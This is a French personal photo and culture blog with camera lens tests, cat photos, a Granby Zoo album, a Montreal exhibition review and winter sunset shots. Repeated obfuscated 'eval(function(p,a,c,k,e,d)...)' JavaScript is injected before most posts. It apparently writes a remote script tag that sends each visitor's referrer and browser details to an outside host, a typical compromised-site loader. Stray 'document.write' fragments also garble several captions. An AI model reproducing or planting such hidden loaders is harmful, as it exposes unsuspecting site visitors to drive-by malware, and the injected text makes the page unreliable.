eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keane|var|u0026u|referrer|heady||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|safee|var|u0026u|referrer|nkzhh||js|php’.split(‘|’),0,{}))

Coin nord-ouest du parc; falaise et nouveau stade de soccer
Le coin nord-ouest du CESM: falaise et nouveau stade de soccer (iPhone 6s)

Coin nord-ouest du CESM Coin nord-ouest du CESM
Coin NW du CESM: Inukshuk et TAZ (g), forage et Stade Olympique (d) (iPhone 6s)
Continuez après le saut de page >>

Et maintenant les tests de caméras et de lentilles…

iPhone 6s

Côté est du CESM: le Mont Royal Zoom sur l'UdeM et l'Oratoire
Vue du côté est du CESM: le Mont Royal (g) et zoom sur l’U de M et l’Oratoire St-Joseph (d)
Avec l’iPhone 6s, le zoom digital max (DF= 146mm, 3x?) cause beaucoup de perte de qualité

Canon PowerShot S5 IS

Canon PowerShot (DF=6mm) Canon PowerShot (DF=39mm)
Même vue cette fois prise avec la Canon PowerShot, DF=6mm (aucun zoom) et DF=39mm (6x?)

Canon PowerShot (DF=70mm) Canon PowerShot (Software zoom max)
Avec distance focale max (72mm, zoom optique 12x) et zoom digital max (+ 4x)
Ici aussi le zoom digital cause beaucoup de perte dans la qualité de l’image

Nikon D3300, Objectif Nikkor

NIKON D3300 (DF=18mm) NIKON D3300 (DF=36mm)
Même vue prise avec la Nikon D3300 et la lentille Nikkor 18-55mm, DF de 18mm et 36mm

NIKON D3300 (DF=46mm) NIKON D3300 (DF=55mm)
Même vue prise avec la Nikon D3300 et la lentille Nikkor 18-55mm, DF de 46mm et 55mm
Il n’y a pas beaucoup de zoom là-dedans!

Nikon D3300, Objectif OM Vivitar

Côté est du CESM: Mont Royal NIKON D3300 (with OM Vivitar DF=125mm)
Encore la même vue, cette fois avec la lentille OM Vivitar (via adapteur Fotodiox Pro OM-Nik)
à gauche: avec lentille OM Vivitar 80-200mm (DF= 80mm, ISO 800, f/16, 1/1000) (2016-04-10)
à droite: avec lentille OM Vivitar 80-200mm (DF= ±125mm, ISO 800, f/16, 1/1000) (2016-04-10)

Zoom sur l'U de M et l'Oratoire (Nikon)
Même vue prise avec la lentille OM Vivitar 80-200mm au zoom maximum (4x?)
Ici aucune perte de qualité (DF= 200mm, ISO 800, f/16, 1/1000) (2016-04-10)

L'autre côté du Mont Royal Un avion
Sapin et clocher d'église La verdure se pointe
Quelques autres clichés pris avec la lentille OM Vivitar 80-200mm (Nikon D3300, 2016-04-10)
Les résultats avec la lentille OM Vivitar 80-200mm semblent meilleur en extérieur (voir tests précédents), quoiqu’il est toujours difficile de faire les ajustements manuellement (particulèrement le focus). Pour m’aider à calculer l’ouverture, la vitesse d’obturation et la sensibilité ISO, j’ai utilisé une application iPhone gratuite (Light Meter). Malheureusement, l’ouverture que j’ai utilisé (f/16) a donné des images trop sombres et j’ai dû les corriger par la suite dans l’application Photos pour augmenter l’exposition. Toutefois, après correction, cela a donné des images plutôt satisfaisantes, quoique parfois un peu floues. Avec le temps, je vais sûrement m’habituer et éventuellement obtenir de meilleurs photos.

Même si j’aimais beaucoup la polyvalence de la Canon PowerShot S5 IS (son grand avantage sur l’iPhone est bien sur son zoom 12x), elle a tout de même ses limitations (lentille fixe et seulement 8 MP). Je peu donc m’en débarrasser sans trop de regrets. Le fait de pouvoir varier les lentilles sur la Nikon D3300 (et ses 24 MP!) offre beaucoup de possibilités. Je vais pouvoir faire plus de photos de nature (oiseaux et fleurs) et peut-être même m’essayer à la photo astronomique. Pour ce faire, il va me falloir bien sûr acquérir quelques nouvelles lentilles et surtout plus d’expérience. C’est donc pas les projets qui manquent!

Mise à jour (2016-04-13): J’ai ajouté les tests avec la Canon PowerShot S5 IS et refait les test de la Nikon D3300 avec la lentille Nikkor pour ajouter plus d’exemples avec différentes distances focales.

[ Translate ]

Images du chat-medi

Caramel qui dort… & tests de caméra
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnesi|var|u0026u|referrer|rdfns||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rszaf|var|u0026u|referrer|eihbe||js|php’.split(‘|’),0,{}))

Caramel Sleeping Caramel Sleeping
(Nikon D3300, document.write(“”); 2016-04-09)
Gauche: Cette photo de Caramel a été prise avec la lentille Nikon de base (voir ci-bas), à 3 pi de distance. DF=45mm, ISO 2500, f/5, 1/60.

Droite: Celle-ci avec la zoom Olympus (voir ci-bas), à 6 pi de distance. DF=200mm, ISO 3200, f/4, 1/30.

Nikon D3300 with kit lens Nikon D3300 with Olympus OM lens
(iPhone 6s, 2016-04-10)
Gauche: Nikon D3300 avec lentille de base (AF-S DX VR Nikkor 18-55mm f/3.5-5.6G II) et filtre Japan Optics/Gobe 52 mm UV.

Droite: Nikon D3300 avec lentille Olympus OM (Vivitar 80-200mm 1:4.0 Macro Focusing zoom) connectée via un adapteur Fotodiox Pro OM-Nik; filtre Vivitar 55mm Skylight.

La Nikon D3300 est une excellente caméra DSLR pour débutant et très abordable. Toutefois l’utilisation de lentilles standard avec une DSLR est une expérience une peu difficile: l’adapteur ne fonctionne pas avec des lentilles dont l’attachement a des collerettes (trois de mes quatre lentilles OM en ont), on doit utiliser la caméra uniquement en mode manuel (choisir soi-même l’ouverture, la vitesse d’obturation, la sensibilité ISO, ce qui n’est pas toujours évident) et la mise au point est difficile à faire. Je considère donc acheter une zoom pour DSLR avec auto-focus. Mais bon il y a tout un apprentissage à faire aussi (je n’ai pas vraiment fait de véritable photographie depuis vingt-cinq ans, et je fais mes premiers pas avec une caméra DSLR)…

Toutefois, comme le disait Chase Jarvis, “Le meilleur appareil photo est celui qui est avec vous.” Et, dans mon cas, ce sera presque toujours mon iPhone 6s!

En passant, si il y a des intéressés, j’ai deux caméra 35mm Olympus OM-1N (un boitier noir et l’autre métallique), trois lentilles (OM Zuiko 28mm auto-w, 50mm auto-s et 50mm auto macro), des boucles d’extensions (7, 14, 25 mm) et de multiples filtres (Image 49mm Y2, Hoya +1, +2, +3, et Hoya 85) à vendre. Détails à venir…

[ Translate ]

Granby Zoo — photo album

Voici une sélection de mes meilleurs photos au zoo de Granby à la mi-juin
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzrti|var|u0026u|referrer|nreyh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fybyy|var|u0026u|referrer|seysa||js|php’.split(‘|’),0,{}))
Here’s
a selection of my best pics from the Granby zoo last week

Expo De Van Gogh à Kandinsky

Cet après-midi j’ai visité l’exposition “DE VAN GOGH À KANDINSKY: De l‘impressionnisme à l’expressionnisme, document.write(“”); 1900-1914” au Musée des beaux-arts de Montréal. Cette exposition a été créé par Timothy Benson, conservateur de l’expressionnisme allemand au Los Angeles County Museum of Art, qui a fait beaucoup de recherche sur ce mouvement. Cela l’a amené a découvrir les inspirations et influences des artistes allemands et les interactions qu’ils ont eu avec les artistes français, les collectionneurs, les marchands d’art, etc. Il a tenté de rendre ses recherches accessible au grand public avec cette exposition qui nous offre une centaine d’oeuvres, autant de dessins et gravures, et près de deux-cent photographies.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adrki|var|u0026u|referrer|yzkff||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrtrr|var|u0026u|referrer|rtbni||js|php’.split(‘|’),0,{}))

On entend souvent parler de diverses choses dans la vie mais il n’y a rien comme une illustration (ou une peinture) pour nous les faire bien comprendre. Cette exposition nous illustre donc des grands mouvements artistiques comme l‘
impressionnisme, l’expressionnisme ou le postimpressionisme, mais aussi des genres intermédiaires comme le pointillisme, fauvisme, le cubisme ou surréalisme. C’est aussi une bonne occasion de voir des oeuvres de grands maîtres (ce n’est pas la première fois que j’en voyais mais il est toujours agréable d’en découvrir de nouvelles) comme le Douanier Rousseau, Matisse, Cézanne, van Gogh ou Gauguin mais aussi de découvrir des artistes peu connu ici (comme Kirchner, Kandinsky, Campendonk, ou Marc) ainsi que le pendant allemand de l’expressionnisme français comme les mouvements Die Brücke (Le Pont, inspiré du pointillisme qui cherchait à faire disparaitre les détails) ou Der Blaue Reiter (Cavalier Bleu, inspiré du postimpressionnisme).

Ce n’est pas toutes les oeuvres qui vous plairons (personnellement j’ai tendance à préférer l’art figuratif mais j’ai tout de même été impressionné par certaines pièces plus abstraites) mais même si ce n’est pas nécessairement notre tasse de thé (comme disent les anglais) on peut toujours en apprécier la qualité (quoique certaines oeuvres auraient sans doute pu être créées par des enfants)…

Il reste à peine plus d’une semaine pour voir cette magnifique exposition, alors dépêchez vous sinon il ne vous restera plus qu’à acheter le catalogue de l’exposition disponible à la boutique du musée, en librairie ou à la bibliothèque (tristement, seulement à la BANQ car il ne semble pas encore disponible dans le réseau des bibliothèques de la ville de Montréal).

Comme c’est souvent le cas dans les musées on ne pouvait pas prendre des photos de toutes les oeuvres (mais au moins il y en avait dont on pouvait se prendre un petit souvenir). Malgré tout je n’ai pris que très peu de photos car, je ne sais pourquoi, je suis toujours un peu gêné de prendre des photos en public. Et, contrairement à mon habitude, je n’ai pas pris de clichés des notices descriptives, ce qui fait qu’il m’a fallut de longues heures de recherche pour identifier en détails certaines oeuvres… Voici, sur Flickr, un diaporama de mes quelques souvenirs de cette visite:

Continuez après le saut de page >>

Le site du Musée des beaux-arts de Montréal consacré à l’exposition “De Van Gogh à Kandinsky” nous donne plusieurs bels exemples des oeuvres exposées, mais en voici tout de même quelques unes pour faire bonne mesure:

Cuno Amiet
Portrait du violoniste Emil Wittwer-Gelpke
Huile sur toile (1905)
Kunstmuseum Basel, Birmann-Fond 1975.

Vincent van Gogh
Le Restaurant de la Sirène à Asnières
Huile sur toile (1887)
Paris, Musée d’Orsay, legs Joseph Reinach, 1921

Robert Delaunay, La Tour rouge (détail), huile sur toile (1911-12), Solomon R. Guggenheim Museum Founding Collection [Photo The Solomon R. Guggenheim Foundation / Art Resource, NY].

“Libéré d’une année d’obligations militaires, le peintre parisien Robert Delaunay réalise, entre 1909 et 1914, plusieurs séries de toiles magistrales qui établissent rapidement sa réputation à Paris et ailleurs. Les trois séries de cette période exceptionnelle – Saint-Séverin, Les Fenêtres et Tour Eiffel – ont eu une influence considérable sur les artistes de Die Brücke et sur leur cercle élargi en Allemagne. La Tour rouge a été exposée à Berlin en 1912 à la galerie Der Sturm. D’autres peintures de la même série, que des artistes allemands, dont Feininger, ont vues, avaient été montrées plus tôt à Paris.”

“Dans cette œuvre ambitieuse, Delaunay se souvient des leçons du cubisme, et de ses surfaces fragmentées étroitement imbriquées. Il représente ce grand symbole d’innovation, d’optimisme et de progrès qu’est la tour Eiffel dans son style appelé « orphisme ». Rompant de façon saisissante avec la modestie revendiquée des natures mortes cubistes, Delaunay établit un parallèle entre sa peinture et l’esprit moderne symbolisé par la tour Eiffel. Ce monument, également un émetteur- récepteur d’ondes radio, incarne les communications internationales. Il correspond à son désir de briser les frontières et de transformer l’Europe en une communauté intégrée. Delaunay reconnaît sa dette envers les séries peintes par Cézanne et Monet – dont quarante-huit Nymphéas ont été présentés à la galerie Durand-Ruel en 1909. LaTour rouge est vue depuis une fenêtre, combinant ainsi les mondes intérieur et extérieur.” [Texte de présentation du musée]

Franz Marc, Écuries, huile sur toile (1913). New York, Solomon R. Guggenheim Museum, Solomon R. Guggenheim Museum Founding Collection. Photo: The Solomon R. Guggenheim Foundation / Art Resource, NY.

“Convaincu par sa foi panthéiste que la civilisation va à l’encontre des forces spirituelles de la nature, qui aurait conservé un sacré propre depuis longtemps perdu par l’homme, Franz Marc fait des animaux l’un de ses sujets de prédilection. Les représentations qu’il en fait, ainsi que celles de scènes à l’état sauvage, sont pour lui bien plus qu’une copie objective des apparences : c’est une façon de tendre vers une spiritualité intérieure.”

“L’une de ses œuvres les plus célèbres, les Écuries, est la dernière des toiles majeures qu’il consacre aux chevaux, son sujet favori. Il se passionne alors de plus en plus pour la recherche d’un vocabulaire formel abstrait capable d’exprimer les aspects universels de la vie, tout en restant fidèle à un contenu spécifique et symbolique. De fait, cette œuvre combine une structure autonome et non-objective de formes géométriques puisées dans la réalité des écuries (les lignes droites et parallèles) avec les cinq chevaux (représentés par des cercles) afin de créer une surface picturale totalement nouvelle, équilibrée et harmonieuse. Bien que le sujet et la forme soient indissociables, Marc semble souligner la nature non-objective des bandes colorées verticales et diagonales entrecroisées, ponctuées de formes circulaires. Il utilise également des couleurs autoréférentielles pour souligner le rôle évocateur et éloquent des tons lumineux.” [Texte de présentation du musée]

Paul Gauguin
Le Gardien de porcs (détail)
huile sur toile (1888)Los Angeles County Museum of Art, gift of Lucille Ellis Simon and family in honor of the museum’s twenty-fifth anniversary.

Paul Cézanne
Paysan en blouse bleue
Huile sur toile (c. 1896-1897)
Fort Worth (Texas), Kimbell Art Museum

Et bien sûr, la bannière au début de ce billet nous montre un détail de la superbe oeuvre de Vincent van Gogh, Saules au coucher du soleil (1888, Otterlo (Pays-Bas), Kröller?Müller Museum. Photo Art Resource, NY). La bannière de fin nous offre un petit coup d’oeil sur le fameux autoportrait du même artiste (Autoportrait, Huile sur toile, c. 1887, Hartford (Connecticut), Wadsworth Atheneum Museum of Art, gift of Philip L. Goodwin in memory of his mother, Josephine S. Goodwin).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

L’Image du mercredi

Couchés de soleil de décembre / December sunsets
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btktd|var|u0026u|referrer|ieshz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyeek|var|u0026u|referrer|tbbaf||js|php’.split(‘|’),0,{}))

Crépuscule sur la carrière / Sunset on the quarry
(iPhone 6, document.write(“”); Camera360 app, 2014-12-13)
Sunset on the quarry

Crépuscules sur le parc / Sunsets on the park
(iPhone 6, Camera360 app, 2014-12-19)
Sunset on the park I Sunset on the park II

L’image du mercredi

Ciel bleu de décembre / Blue sky of December
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kerae|var|u0026u|referrer|fkras||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnbie|var|u0026u|referrer|yesta||js|php’.split(‘|’),0,{}))
(iPhone 6, document.write(“”); camera360 app, 2014-12-07)
Blue sky of december

L’image du mercredi

Bordure du circus michaelis
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzkkr|var|u0026u|referrer|dnbad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rynya|var|u0026u|referrer|inehz||js|php’.split(‘|’),0,{}))
(iPhone 6, document.write(“”); camera360 app, 2014/11/29)
Edge of circus Michaelis
(On aperçoit bien sûr ci-haut la Tohu et l’usine Gazmont à l’extrémité est du CESM)

Vieil arbre / La nuit tombe sur le parc
(iPhone 6, camera360 app, 2014/11/29 & 2014/12/05)
Old tree Night fall on the park

L’image du chat-medi

Caramel se cache / Caramel’s hidding
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdkas|var|u0026u|referrer|ebibk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihbhn|var|u0026u|referrer|tdrik||js|php’.split(‘|’),0,{}))
(2014-11-22)
<a href="
https://www.flickr.com/photos/clodjee/15899887555&quot; target="“new”" title="Caramel hidding by Clodjee Pelletier, document.write(“”); on Flickr”>Caramel hidding